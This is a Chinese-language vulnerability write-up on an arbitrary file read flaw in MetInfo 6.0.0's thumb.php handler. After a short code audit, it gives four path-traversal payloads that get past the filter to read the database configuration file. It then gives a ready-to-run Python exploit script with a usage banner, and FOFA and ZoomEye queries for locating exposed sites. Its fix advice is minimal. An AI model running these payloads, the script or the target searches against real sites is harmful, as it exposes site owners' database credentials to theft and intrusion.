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1.1、漏洞描述

漏洞名称：MetInfo任意文件读取

漏洞简介：MetInfo是一套使用PHP和MySQL开发的内容管理系统，其中的/app/system/include/module/old_thumb.class.php文件存在任意文件读取漏洞，攻击者可利用该漏洞读取网站的敏感文件。

下载地址：历史版本安装文件下载 Ver_6.0.0

1.2、漏洞等级

高危

1.3、影响版本

影响版本：MetInfo 6.0.0

1.4、漏洞复现

代码审计

defined('IN_MET') or exit('No permission');load::sys_class('web');class old_thumb extends web{public function doshow(){global $_M;$dir = str_replace(array('../','./'), '', $_GET['dir']);if(substr(str_replace($_M['url']['site'], '', $dir),0,4) == 'http' && strpos($dir, './') === false){header("Content-type: image/jpeg");ob_start();readfile($dir);ob_flush();flush();die;}

$dir = str_replace(array(‘…/’,‘./’), ‘’, $_GET[‘dir’]);

dir变量接受来自$_GET[‘dir’]传递进来的值，用了str_replace函数做替换，将../，./替换成空值

readfile($dir);

漏洞点

/include/thumb.php

使用bp进行抓包

测试一：

/include/thumb.php?dir=..././http/..././config/config_db.php

测试二：

/include/thumb.php?dir=.....///http/.....///config/config_db.php

测试三：

/include/thumb.php?dir=http/.....///.....///config/config_db.php

测试四：

/include/thumb.php?dir=http\..\..\config\config_db.php# 此POC 仅适用于Windows 系统，Linux 下无效  
#    只有windows以右斜杠作为文件路径分隔符

1.5、深度利用

EXP编写

import requests
import sysbanner = """
MetInfo 6.0.0___________.__.__           __________                   .___\_   _____/|__|  |   ____   \______   \ ____ _____     __| _/|    __)  |  |  | _/ __ \   |       _// __ \\__  \   / __ | |     \   |  |  |_\  ___/   |    |   \  ___/ / __ \_/ /_/ | \___  /   |__|____/\___  >  |____|_  /\___  >____  /\____ | \/                 \/          \/     \/     \/      \/ Usage: python3 *.py http://192.168.80.139/MetInfo6.0.0/
"""headers = {"User-Agent":   "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36"
}dir_list = ["..././http/..././config/config_db.php",".....///http/.....///config/config_db.php","http/.....///.....///config/config_db.php","http\..\..\config\config_db.php"
]def attack(host):vul = "/include/thumb.php"url = host + vulres = requests.get(url = url, headers = headers)if res.status_code != 200:print(f"[INFO] {vul} is Not Exists!")exit()print(f"[INFO] {vul} is Exists!")for param in dir_list:params = {"dir":  param }res = requests.get(url = url, params = params, headers = headers)print(f"[INFO] Test URL: {res.url}")if "<?php" in res.text:print("[RESULT] The target is vulnreable!")print(f"[RESULT]\n{res.text}")breakif len(sys.argv) < 2:print(banner)exit()host = sys.argv[1]attack(host = host)

1.6、漏洞挖掘

FOFA

app="metinfo"

ZoomEye

app:"MetInfo"
app:"MetInfo"+os:"Windows"

1.7修复建议

• 升级
• 打补丁
• 上设备